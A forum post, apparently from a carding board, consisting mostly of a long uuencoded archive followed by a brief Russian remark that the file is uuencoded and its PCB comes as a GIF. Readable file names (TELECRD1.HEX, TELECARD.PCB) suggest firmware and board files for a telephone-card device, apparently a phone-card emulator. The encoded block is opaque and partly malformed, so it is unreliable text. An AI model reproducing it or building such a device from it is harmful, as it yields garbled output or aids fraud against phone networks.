M?RD!`K8AM,9*4*E]11,G8!O%LA_LUACZ6?!7`K!IA0>NL:D_JVB[K:;KHC^Y
M%`T>J9!I<.+Y,*+^_1>^Y1Q49%FRN2%8(T57TV="2'+BTT2(TPV/^63?;:#
M39;>M7/^7[#:QE'69OWU$]_E?+HZY].2I/>T2HQ$E3JCBHM**%OR$S:NLCWQ
MY2EGM4.UB%_G&_9EQ;%->]%,E=S%43L<&QQHCC/4MDC>T#\Z(((33,:KVN(*OLI)7&QQT!Z4P)@_`I&+
M&2H^$E)S,?N>`?4I$%ZW4`'"IR%J(/X]0QI0)#R/DF`U2/(\MD@#CC0$Q[*D
MV`0K"L)K;:W%)A2).%6@J4AAE=Y_XG`CFCJ1`CNL$@@O,([R"`MA;H6IXPJ/6B1:+185\%W9ID2G`3J&?,93P;@,"!.*#[L(A-)'%,JV
MZ&(@DR!HO7HQ\*&&1BL7^!`#YSL;1U&;TI_A=$8+7ZM&JM[V!8[_'+UMVT!<
MN3B>U^\@4)Z//&I2B%P!-%E*E"9DH215//WP>>)INV"%"K$]<24W#XQ8^;S*
M*:
M5]_:LAB8U<Q6&1TA>\[email protected]"02'8"6X%49:>!1+(S
M$]%#L`98&P4M_ZWCU2;_J]%&1VTF8A17Z+4VVN^*9`M)\;J1SA[8H2RBK%X*
M[Y$::6VPWZ80[=9P$Q>0TSSL'645IDJ_X@#$QE(2J):Q$NDF
M-UU;#+6(L)7J(1"B0`O:0H9NLO8H_#Y*\JINJH0<:11%\%Q%08U)ST*@DJ*H
MW1J+>8Z-0U85#$@EI0R1&1$I]R#IBU8_R.?"!/U0/3*7QQ"NYQV=?Q[:4&_K
M/HLI'`(D#-'*"9U<%YM\):Z<$,R.5W]`LM%D4*@)8.`VV*$0;*V+K["`2!M3
M/CE_)/<*=D(#(7?WVYAJ4H;O:#A:\*[,',T/+W/8"I-%>6N&=EP-0PO>UF
1)#.WX0(9RZHL76PG+ES,Z61[LJ#Y@52\?W0;J,F`LIJ19.S4`
MI*[=9`.[M`"6O/TW#09=1V5/5-\]1(FH\%@W(5BDAP8@2&CK.PT29L2]2AS!1U-9E*,W:/!)K9(X8VTJBAWC-M
MDS,&XF%YZZD^[`%Y:^IN2\0S(`Y6S#U5W+CV/6J*W4\;H:7AL3I*P_>NK@6.
MN%>MJ]`4MI+;T).0T4VR@LO]W74Y[G\25>X8/-'QEF2=JG62#Y!*Z\0>,30:
M)NG+GH^8`&J(C:).8FT#L8Y*+!%R6T\DU@7B(A8E0FQ<6?\&;?PQ7NV+6$.@
M!R1`#$"$@&P-J3)`Q47R^D0FKV\>0$392X-OO5Y#0'CD2[H?A"+O6'73F0(!K1-F?`
M.K$ED]&:B[)1TX+!]L&1@YE5N9OBM%F/=-K<@>JT$:&'ISAM)=I0.4?.ZNB$
M>#"-^G85T7$<7!Y25HU5U6%18].FHK0SCFWVQ
M^(M=DL`@SRB#R>$I5H:'_$H6ACIJZ\($OS)C/EJ2`SUK13$]FI/R$'\)U7LU
M?UU.I2*SQB4Y@IRZE1PWC__H0$$>2='!#M!9[,!Q:#<>K'B=GULU^NX4/C/<1&P!1]+8=-#R`?#K1:C%AD`Q!BZK3WT)-4Z6_-2FJ
MBR1GIV#ZJQ7=0R;Y;;P^JML7*>3Q;MUQPP;A14HE!2.-^G&L1I$]3?V,9:^1
M@ZF.&2[7I!5/]Y\@*2CEU4.&1R,3:"`3'[:%/P!&3%1Q.(QIR&U9#&JWA'3PDQ2U\YW-#Z-M4G>&Q>EIU1B1U
MUBK)$JI1DM60'2`]ILJ"88LJB`+79#"V/"3#.XR>*HB+,C*&[C'3>*)33?.$;E,]Y#`-9062A!++CAT2S4/&5I
M.?Z`JIZ\B.\A2VYNN?OEASKDWI=`[FF0:6')\Y&I$VHA0R=4I31\MA&;*'RV
MX6`#L#R%S):@:+=N9>"("&#]W;JBD>&]DW.?_I"&#S"N&CY0AR\2*0C7")PQ
M"J,0MQ6N:+TVA%'ZZW;,5>3$'ZOI-B*431Q*MZVIFUF7+PBY-_^,*D\+X?K*
MH-4,#56>%)4%>'09&I;IL:R>G,$G0KF%J*U$I[SQY8K:G7,X'E57\@&&$D\3
M04!G'!`;E8\9FDWY"*]/3\M'1,M'!`&VFBIL`#U+T534,$VQILKXS7%)7KE>
M3*_DM\FF8+M2WH$'U@C/IT>@1*-I%LBVK8"B^61`_/M&/K?QAHMGX-,T#YH)
MH=*B3O.H,\'2/.P0#I\/GN6A(^#`=%LN9%XXL*/L.>H!&-S0++Z/HZ))(4%2
M)7J"$,B9,A]N,\%U_):-^ZB]<4O8)M$OTTTU,S1P607?@QX0=/2^A%:#X^JF
MCCM+\IF>$J^O<;XTA15/<[Z"@<;Y$BHKOI[SY87<^0J&0,[P3M7K-9:S7H)V
MI\J/&0E+T)XIJD,.2=YNA8,1V"%6?(([(FQ;W\TEH>I?TVL%'AAP>A]7I>@)
M8ZQZGQ2,@0PQ^4*YA4J^LM%N3UO)=)_IZ+:_$-VA!58?;SR$ZHLFDZQL/)JT
M+]W:T-L6U(AW2#2;#Z$>X_&;C^.&4T-;P_^^*D]/X__0T?"_4+SQ]?B?7\;"
M3++J0?MALZQ/\Z!#&A#`NP^A%*/VH/D&H]7$.@]:V(2$OIH8(7(9AB$Q(A(I
M;$_#0$.G4,CP"#HK-(74$,B0V="P#5P(]0S7.^XME:^/15<-V=!=?!/1,XE'
MC+WI-SR]P[KH:U2[4-3P5-4>ZO;5@=N0^)FLK=M7"Z;TZ[%VX,.+KQ#J"?ZN
MH^Q")477"67"KY7YTL,.GSCLQ:\7@^DY+/N#Y:O@3"<#\_;2C?
MWZ-M:+&&\N7/VH:]LB&.`6E/)].&^#"LL6M\1:BY(;J`Q_`K"*QA]\+PH_EE
M0W0,WMPU.MK>V5`\>*UM.*P:2BD'TQ+B4^I&-L-Q&^U%4;1K?&NIL6M\6:JQ
M(2Y=,'(/OB79*(4X!]R)*%;*:4]V\H>1;:,O**(WXCC\C/^+HB7$P^$"8X:<;:$,YN:I%
M'/"&AY?0K1J*-[\9UQK?GVD4!7QH2GOX)FP;=O`X2]VRAM*I-?-@YC-XU,K@
M.GKMA-/2'7RYMG$)#PRY/D)=-GP,(J41WW!M[!H'E@R7Y_&&G0H76%KE2_M"
MO6?X0G#,+G)/=OMX_32_".@6P<*_T2#MB%E;'P?M=&5P+]`I/.AS\ZJABH+&!I*L1>UH=,TQ/?6H(9!
MW5#Z51_SA*-#O.:&Z"R1X?HBWK!;H"O]B7\'Q2CW^.I5,XV'?+R&>]"%J6;N
M07>AFID"78UN;(BO,NYJ>-B\6*RA?*^H<1[Q#7UF1!2&UNI/NM;X;0-6=>/L>=T"?'Y4^.$X^.>
M1C;#OR=CE!G\NQ]&?L3W^1L'@Z^R-"+B6RF-_(BOES2R&?XY$F/7O\&A#^OZ
M"_M%Q/I;_"+\&QO&>:;_NQA?3.>_PM6"$GS1G\'WK]^_AI_@*J?!17A]S/Z#
MU4O]P,NN+`O>P/OCX^/W]:?\-[Q'G\-?5*7C;S[C50U6E3Q!:)2R8_0Y_`7%
M&E*LI[^JP:HNB.*4T6E[%IK-Y^SIK^HI(Y8P9\]#L\F7I*R_W4):W,89W'%A
MN:9W,^:P9ZQXPIF7W2=+TWAO&%=Y=!/G38M7+__Q?U!+
M`P04````"``SH"T=Z\G1\\0```"U`0``#````%1%3$5#05)$+DY%5'V0,:O"
M,!1&]T#^0T8=`KUIDG;5H%!L;:%]4!"18`<'!:E._GIS;WC0E^$1T@SGW"_Y
M>N+,[email protected]&8Y4TH\]YS%=>8,L?H7_X3IOJVAY*RK'%A7ZD0(\U7?%B6$@/[A
MY_?5SY/H_/3Z*XXAJ:EK'0XMFMM'C'+P]X6SXNRX&RY9E@'&2HVW2X,-Y`8?
MBM_UTE/D*?*@2&!.T$08LW2B:%)L5/($&H(%P:BDAB6C));>'N?`8&]YH`[;
M1(F#^-O&WX)1^0)02P,$%`````@`ET`N'45;^#19!0``/@T```P```!414Q%
M0T%21"Y00T)]EDUL$T<4Q\=Q`B8RWIDE+16BE=M#A%8">9?%F`]5@7RHII!8
M2+7P$DGFT@B/JA'!V,FF&\@$V-'
M]1BYSE;Y,GV2?J;>M03V[Q3&)W42)&;X6.9<^.3.R52V87_LZ%%3)QFZRJM*
M@3^@J[9(W;]#V`_J0C:,<'X$+#>2P4'=B$2)H:SR[T/O\PW4MKJ;IL8+3!WK
M^Y!N;:#[[!Y"NOM`[?J&5'N(S_=/*)!W=Z/[)=)%3-(U27X76^.;8JE98;7.
M=WN\3C$W/#XG<=WC48GO0?%_+;1X%,7'?"^*CWD,Q6_RE\4.Z!'2M8TD0+BA
M7K<(K-1UV(?X`&]PUT'WA++GX`J&)R2E2#'DT(RTGJIG+\VPVQ,T>0;3$VI,
M$O9X@B,+44^HR$)K\BE9:&4;87@549047L4>E!/F)DH)\]TH(\P-E!#F.LH'
M\T.D:X:,`,_0WT2>_G7^-N*KO,6%_0`9``X70R7Y#]$HD($I%(OR#]B$#A3[%$$9-$L2:1
M&@O/R@2N19V>E\CYHJ9BHJGA69G`I9FCBQ)9+"953)+"2R9PI:+TOD3N%\LJ
M)F7AU4YNYH#BR-_EDA+1U/F<)I$:F\_!:O%N:+.-QP>3K!AX%4Z^\>"T2"4/
M%).I/%"9K(C1(K-&FN27\2O(Q2316'SGEOG35)AHU:%?8ULZA3(*")?TNL6T!9QQ/^.
MPQ80^80"P9$U];8%>>/S&K>3:AF1-35KK:D:(O!::&H$14ZJ1WA2K:/(:T('
M3^P%1/8:M]?$P%Y:&RFK%^S8E@M2AG4>VX+G@E_M-A]DDNI;TGF5[1J[E,'Y
M7!/G]3,BL.ZD.'MY]K)$H%H!5`CDB5.<`K;$XB1K8EU_
M(M+/3+LBQ3$4TP:*B6,!Q;NQF*ZQ:%N&0'&&9A9.$<]^(ROO?(UI67BY<$69
M64V\=[BBS&Q2(O"NP"O9(I'@9&FF;[+4(C-]#Z=E$@D^G`8[F8"=2P*OB>9T
MU_CPR-#P!#E(2##030\6ZTJT>)ZZ'6I@NV@*=TV>2@PWY"B]DH]0:&#OY#OD
MWD"MTZI[A-;WON1#G#
MG[H]\1+O7@]]J"']&+HCVN45_BBTW>J0OA7M\8+U*/27U?.\H'$Q)W3/7[CR
M[TQ0`+=Q.ULMK(GZ3J%$>);68@+B8$DUG:5;K=T=URQKHK1
ME,0XH:SP$XIJ77;'BN?5`]*"=4*Y*S",!>L_4$L#!!0````(`/92,!W$D[.D
M0PD``"#(!0`,````5$5,14-!4D0N4%).[=V_:B-''`?P75RH":<'D$%="E?.
M'80+!)L+^`72I$^=PAQ7.EB0%].CZ!%4JC#:Z(]]EG=G[;E!N_9Z/M]"K&3D
MXE,,W]%J?II<37[^Y^.O7S:/OUQ-SKY].C__+4H5/SE6U&G#AQXL2)$R=.G#AQXL1I<$Z-
M/?"+$B1,G3IPX<>(T1*?R8`^\Y,2)4S].\\.G
MG#AQXL2)$R=.G#AQXL1IN$XGNSWP7<&)$Z<>G6;;RU-.G#AQXL2)$R=.G#AQ
M>MM.FQW>?U6U'E?5ZK*J%IPX<>+$B1,G3IPX<>+$B1,G3F&G_9WB-2=.G#AQ
MXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)TXP3)TZ<.''BQ(D3)TZ<
M.''BQ(D3)TZ<.+V_>3VA<.+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$
MB1.GMQU.G#AQ&K+3M'J2!2=.G+IW.GWZEP4G3IPX<>+$B1,G3IPXO?%S0`M.
MG#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.
MG#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXI3E?-]R;E[/-2=.G#AQ
MXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G%X_G#AQXL2)$R=.G#AQXL2)$R=.
MG#AQXL2)$Z>FTZAZS+S@Q(E3+T[-MRPX<>+4N]/!BL6)$R=.G#AQXL2)$R=.
MG(;C-*[:PXD3IVZ+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G
M3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G
M3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G
M3IPX<>+$J1E.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.
MG#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.
MG#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.
MG#AQXL2)T_'#B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$
MB1,G3KDY/1].G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.
MG#AQXL2)$R=.G)X/)TZ<.''BQ(D3)TZ<.''BQ(D3)TZ<.''BQ(D3)TZ<.''B
MQ(D3)TZ<.''BQ(D3)TZ<.''BQ(D3)TZ<.''BQ(D3)TZ<.''BQ(D3)TZ<.''B
MQ(D3)TZ<.''BQ(D3)TZ<.''BQ(D3)TZ<.''BQ(D3)TZ<.''BQ(D3)TZ<.''B
MQ(D3)TZ<.''BQ.GXX<2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.
MG#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.
MG#AQXL2)$R=.G#C%AQ,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX
M<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX
M<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX
M<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX
M<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX
M<>+$B1,G3IPX<7K-<.+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G
M3IPX<>+$B1,G3IPX<>K;:Z=-JOXE-/+3N4RI4#EY[19Q1,*5!9.L_N+O=--2H'*
MT.DBI4!EZ#1-*5`9.HU3"E2&3DD%*D.GI`*5H5.94J`R=$HJ4#DZI12H')U2
M"E2.3BD%*D>GE`*5B=-^)WSOE%*@(4X11<
MQ4\YU9U^YQ3E%"3AQ(D3)TZ<.!6<.''BQ(D3)TZ<.''BQ(D3IW?GM"[O3E:C
MY7@QG5_.;HOUCFU[.VK[?8/M/:G=`R=.G#AQXL2)$Z<7G1Z^T\.)$R?K$R=.
MG+)V.N$4Y33B%.4TYA3E-.44Y71Y[^3S\>>=_N44Y?3TL"*G%J=RR2G&J7:8
MFE.+4^UP/J?O]X.WUX]S_VO#'CBU.-6&AW!J<;K@%.5TPRG*J3;K@5/8J5QR
MBG&JSZ+A%':JSS;B%':JS\KB%':JSU[C%':JU2=.+4ZU^L2IQ:D^*HM3T*E<
M@4V/2**>@
MTY+3"TXMX<2)$R=.G(;N]'`^8\Z)$Z?>G(K'.0^<.''BQ(E39DZE\P@_Y.0<
M$"=.G#B];:>'7?""$R=.?3E]S]ZI"H03)TZ=.AT\MSYQXL2)$Z?!AA.G5W;R
M^7C3Z;&#S]UOX<2I'Z>#Q>G@FA,G3IPX<>+$B1,G3IPX#<^+$J??U
MZ0,G3IPX<>+$B1,G3IPX<>+TWIT:OP?$B1,G3IPX<>+$B1,G3IPX<>+$B1,G
M3IPX<>+$B1,[email protected]'_SD=TDX<>+$B1,G3IPX<>+$B1,G3IPX<>K$R;Q#3IQZ
M=VI](R=.G#AQXL2IX,2)4[)3U9H[3IPX=>.4&DZ<.''BQ(D3)TZ<.''BQ(G3
MD,.)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQ
MXL2)$R=.G#AQXL2I4Z?;ZJA9%>\MG#AUX%0()TZ<.''B))PX<>+$B1,GX<2I
MB_PT.?OZQ^3J?U!+`P04````"`"*=B\=14[.>F0%``#,%P``#````%1%3$5#
M05)$+E,P,9682V_<-A#'[P;\'8B]-^'P)0DY!(JLV&KL]6)7Z[B]%(9K-#DD
M*=Q>TD]?OF;T('>UBP4$:H?DC\/Y#TGQ7?_T_:\?O^R>O[Q\>_KWZS-[@#>"
MO[#=R^O7EW]8UUU>]/7Z^OZ/77/3WM5]US"PO_KR8G?3MCWC]@=@*LE*84IF
M[/_=[RV34&@&7`.K5%4QK:MB^._RHN[[+5M=M;MFVVWZ[GZ]8F#8JMO=%Z4M
M['Y^?_[RAMV]?/OQ^I,U3Z]_KCS5P?CEQ:_[=<.DX)QIX/BNM'T79GB7,[NO
M+^E=BUE]Y=Z5>]_4VYY)X^I7]J%D91^%==%VIX,OWNTPGC`R].FAOMVW*U:Q
ME6)W-_]-QAUJ//;UK:^0L[T_9+%SU5VOZ_Y^ZVL\PLH.R8W0N>U^$FOVOVW"
M``+(UU+EO%8TSEB;;AV[=;/GIR24R-G)H-;UG44!9ZO[7>-')&(#&T0/LQW:
MD=O6JT_6K$MGMG5`E&2/0"`@G`@4"(0LL$8@C(';MNEK9'+$:0>.D6_75U$"
M/OI!![;(0%>2F8)K)HMC$H@J3F=W9O:!-EYVQ3P\^_<3>PDS^TP.>SL7Q@E:
M)CV1'(CKW0(S5'1!"+[Z^3=8$DM!^+C?M:X_$1ND00!K+DIGGD<]`#D!7:E8
M`CYL-LCC69Y$'L_R1(D\7UKD7:^O(L_73WDJ\D29YQGBF9/\:QKDF2Q/(\_D
MYU/0?+H2+/&NZK[&"159H,`)%7D'*8"^M*B8[:Y'!_,!+-'!`P$D!WUID=?<
M?D)>WK\">0?\HXP0)V7$YRWYET\(@[Q)0L15*62F4YHI<.E)5B6)&QF34+E%
M3`*3%;A%[-BJ-%LQW'(MM8Y+GU'C)6/8PX1@?W_$BHY;F>S:TM0;K.4>OCNW
MS6\;ZT19Q#U!:`9*LD*Y4=UVZ]8VD=8HK"&49*'#O$:K$=%3@SZ/K30/H2T?
M;6)#`UF-FAX/W@?G0XD[F(I.#+%S]K##B3C!$3:,1`RP!:74#C;9+B(<)8AQ@$]2`C])"3*K!#BF!$Y*@(P2@)0`&24`*0%2)0`I
M`Y//8_NW7+B%B[IY9R5Q@"+FAUJ^F-@B3'R)7]>5TPN["
M3B#<5;!3I]R.,C]V!EYQ!D_'(_5!'IZ#$YXAGCF#Y\Z1YAC/'8--CJ>)I\_@
M%:O8\A!/N@HYGB*>0EZQQ/,'GM#R$,\%6.5XM+K[D@KG@05>_&R0QX`NPC('
M%`04^(`3@$X0XAC0A5CD@+1J^=*)$:R=X.$8SX488[WE<$;,]Q6G"Z3-P_&VW[C'E\T@3$SY%*D+25VRQA/2?5+%E%J=C
MOJ%J,_[$Z=O'GKFQTF7@Y!:P
M<#H%&.XN/G?;-L;'D/;]K=[<@C%$BTX^)Q,+95*T^$.=\)X/MXG!4B679A/+
MY'8+.;1MC>XJAU$/CU%OHXT`XD(VL0QW=X-%3[],\A:\,\#>:`L/I=&,XGOX
M7AA9Z$9UN/$8>RKT.',32VBMIQQ!-Y#A9G88]8!``"G!```
M#``````````!`"````#+,@``5$5,14-21#$N2$584$L!`A0`%`````@`;5(P
M'=V65G;,`0``800```P``````````0`@````VS0``%1%3$5#4D0R+DA%6%!+
M`0(4`!0````(`&M2,!T#9[*E[!@```1V```,``````````$`(````-$V``!4
M14Q%0U)$,2Y,4U102P$"%``4````"`!M4C`=SK(OU808``"#=0``#```````
M```!`"````#G3P``5$5,14-21#(N3%-44$L!`A0`%`````@`,Z`M'>O)T?/$
M````M0$```P``````````0`@````E6@``%1%3$5#05)$+DY%5%!+`0(4`!0`
M```(`)=`+AU%6_@T604``#X-```,````````````(````(-I``!414Q%0T%2
M1"Y00T)02P$"%``4````"`#V4C`=Q).SI$,)```@R`4`#````````````"``
M```&;P``5$5,14-!4D0N4%).4$L!`A0`%`````@`BG8O'45.SGID!0``S!<`
M``P``````````0`@````.
 

Hacker

Professional
Messages
1,048
Reputation
9
Reaction score
712
Points
113
Файл UUEncoded UUDecoded!

PCB в формате GIF, а не в формате HP LaserJet.
telecard.gif
 
Top